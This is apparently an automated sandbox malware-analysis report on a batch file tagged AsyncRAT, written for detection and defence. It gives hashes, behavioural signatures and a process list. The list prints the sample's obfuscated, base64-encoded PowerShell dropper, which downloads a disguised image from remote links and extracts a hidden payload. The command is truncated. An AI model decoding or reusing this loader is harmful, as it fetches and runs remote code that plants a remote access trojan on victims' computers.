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Windows
Analysis Report
BwQ1ZjHbt3.bat
Overview
General Information
Sample name: | BwQ1ZjHbt3.batrenamed because original name is a hash value |
Original sample name: | b4ca7ff5efd0278fef09daf595489560.bat |
Analysis ID: | 1576568 |
MD5: | b4ca7ff5efd0278fef09daf595489560 |
SHA1: | 112847b2bf3d344b10aae9d6bb375de51b0d3b7b |
SHA256: | 5d3e1ec332b5f64b4fed0d5f4dae21008ae05ec7f754f804f813925c4573e12c |
Tags: | AsyncRATbatRATuser-abuse_ch |
Infos: | |
Detection
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Sigma detected: Drops script at startup location
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Yara detected Powershell download and execute
AI detected suspicious sample
Drops script or batch files to the startup folder
Encrypted powershell cmdline option found
Found suspicious powershell code related to unpacking or dynamic code loading
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious Encoded PowerShell Command Line
Sigma detected: Suspicious PowerShell Parameter Substring
Suspicious powershell command line found
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory
Uses a known web browser user agent for HTTP communication
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- cmd.exe (PID: 7832 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\BwQ1Z jHbt3.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 7840 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - WMIC.exe (PID: 7892 cmdline:
wmic cpu g et name MD5: C37F2F4F4B3CD128BDABCAEB2266A785) - find.exe (PID: 7908 cmdline:
find "QEMU " MD5: 4BF76A28D31FC73AA9FC970B22D056AF) - powershell.exe (PID: 8040 cmdline:
powershell "$codigo = 'WwBO$GU $d$$u$FM$Z QBy$HY$aQB j$GU$U$Bv$ Gk$bgB0$E0 $YQBu$GE$Z wBl$HI$XQ$ 6$Do$UwBl$ GM$dQBy$Gk $d$B5$F$$c gBv$HQ$bwB j$G8$b$$g$ D0$I$Bb$E4 $ZQB0$C4$U wBl$GM$dQB y$Gk$d$B5$ F$$cgBv$HQ $bwBj$G8$b $BU$Hk$c$B l$F0$Og$6$ FQ$b$Bz$DE $Mg$N$$o$I $$g$C$$I$$ g$C$$I$$g$ C$$I$$g$C$ $ZgB1$G4$Y wB0$Gk$bwB u$C$$R$Bv$ Hc$bgBs$G8 $YQBk$EQ$Y QB0$GE$RgB y$G8$bQBM$ Gk$bgBr$HM $I$B7$C$$c $Bh$HI$YQB t$C$$K$Bb$ HM$d$By$Gk $bgBn$Fs$X QBd$CQ$b$B p$G4$awBz$ Ck$I$$N$$o $I$$g$C$$I $$g$C$$I$$ g$C$$I$$g$ C$$J$B3$GU $YgBD$Gw$a QBl$G4$d$$ g$D0$I$BO$ GU$dw$t$E8 $YgBq$GU$Y wB0$C$$UwB 5$HM$d$Bl$ G0$LgBO$GU $d$$u$Fc$Z QBi$EM$b$B p$GU$bgB0$ Ds$I$$N$$o $I$$g$C$$I $$g$C$$I$$ g$C$$I$$g$ C$$J$Bz$Gg $dQBm$GY$b $Bl$GQ$T$B p$G4$awBz$ C$$PQ$g$Ec $ZQB0$C0$U gBh$G4$Z$B v$G0$I$$t$ Ek$bgBw$HU $d$BP$GI$a gBl$GM$d$$ g$CQ$b$Bp$ G4$awBz$C$ $LQBD$G8$d QBu$HQ$I$$ k$Gw$aQBu$ Gs$cw$u$Ew $ZQBu$Gc$d $Bo$Ds$I$$ N$$o$I$$g$ C$$I$$g$C$ $I$$g$C$$I $$g$C$$ZgB v$HI$ZQBh$ GM$a$$g$Cg $J$Bs$Gk$b gBr$C$$aQB u$C$$J$Bz$ Gg$dQBm$GY $b$Bl$GQ$T $Bp$G4$awB z$Ck$I$B7$ C$$d$By$Hk $I$B7$C$$c gBl$HQ$dQB y$G4$I$$k$ Hc$ZQBi$EM $b$Bp$GU$b gB0$C4$R$B v$Hc$bgBs$ G8$YQBk$EQ $YQB0$GE$K $$k$Gw$aQB u$Gs$KQ$g$ H0$I$Bj$GE $d$Bj$Gg$I $B7$C$$YwB v$G4$d$Bp$ G4$dQBl$C$ $fQ$g$H0$O w$g$$0$Cg$ g$C$$I$$g$ C$$I$$g$C$ $I$$g$C$$I $By$GU$d$B 1$HI$bg$g$ CQ$bgB1$Gw $b$$g$H0$O w$g$$0$Cg$ g$C$$I$$g$ C$$I$$g$C$ $I$$g$C$$I $$k$Gw$aQB u$Gs$cw$g$ D0$I$B$$Cg $JwBo$HQ$d $Bw$HM$Og$ v$C8$YgBp$ HQ$YgB1$GM $awBl$HQ$L gBv$HI$Zw$ v$HQ$ZQBz$ HQ$aQBu$Gc $cwBv$G0$Z QB0$Gg$aQB u$Gc$d$$v$ GY$ZwBo$Gg $a$Bo$Gg$a $Bo$Gg$a$B k$Gc$LwBk$ G8$dwBu$Gw $bwBh$GQ$c w$v$G4$ZQB 3$F8$aQBt$ Gc$LgBq$H$ $Zw$/$DU$M w$3$DY$MQ$ y$Cc$L$$g$ Cc$a$B0$HQ $c$$6$C8$L w$x$D$$Mw$ u$DI$ZQ$u$ DY$Mg$v$HQ $ZQBz$HQ$X wBp$G0$Zw$ u$Go$c$Bn$ Cc$KQ$7$$0 $Cg$g$C$$I $$g$C$$I$$ g$C$$I$$g$ C$$I$$g$CQ $aQBt$GE$Z wBl$EI$eQB 0$GU$cw$g$ D0$I$BE$G8 $dwBu$Gw$b wBh$GQ$R$B h$HQ$YQBG$ HI$bwBt$Ew $aQBu$Gs$c w$g$CQ$b$B p$G4$awBz$ Ds$DQ$K$C$ $I$$g$C$$I $$g$C$$I$$ g$C$$I$$g$ C$$aQBm$C$ $K$$k$Gk$b QBh$Gc$ZQB C$Hk$d$Bl$ HM$I$$t$G4 $ZQ$g$CQ$b gB1$Gw$b$$ p$C$$ew$g$ CQ$aQBt$GE $ZwBl$FQ$Z QB4$HQ$I$$ 9$C$$WwBT$ Hk$cwB0$GU $bQ$u$FQ$Z QB4$HQ$LgB F$G4$YwBv$ GQ$aQBu$Gc $XQ$6$Do$V QBU$EY$O$$ u$Ec$ZQB0$ FM$d$By$Gk $bgBn$Cg$J $Bp$G0$YQB n$GU$QgB5$ HQ$ZQBz$Ck $Ow$N$$o$I $$g$C$$I$$ g$C$$I$$g$ C$$I$$g$C$ $I$$k$HM$d $Bh$HI$d$B G$Gw$YQBn$ C$$PQ$g$Cc $P$$8$EI$Q QBT$EU$Ng$ 0$F8$UwBU$ EE$UgBU$D4 $Pg$n$Ds$I $$k$GU$bgB k$EY$b$Bh$ Gc$I$$9$C$ $Jw$8$Dw$Q gBB$FM$RQ$ 2$DQ$XwBF$ E4$R$$+$D4 $Jw$7$C$$J $Bz$HQ$YQB y$HQ$SQBu$ GQ$ZQB4$C$ $PQ$g$CQ$a QBt$GE$ZwB l$FQ$ZQB4$ HQ$LgBJ$G4 $Z$Bl$Hg$T wBm$Cg$J$B z$HQ$YQBy$ HQ$RgBs$GE $Zw$p$Ds$I $$N$$o$I$$ g$C$$I$$g$ C$$I$$g$C$ $I$$g$C$$J $Bl$G4$Z$B J$G4$Z$Bl$ Hg$I$$9$C$ $J$Bp$G0$Y QBn$GU$V$B l$Hg$d$$u$ Ek$bgBk$GU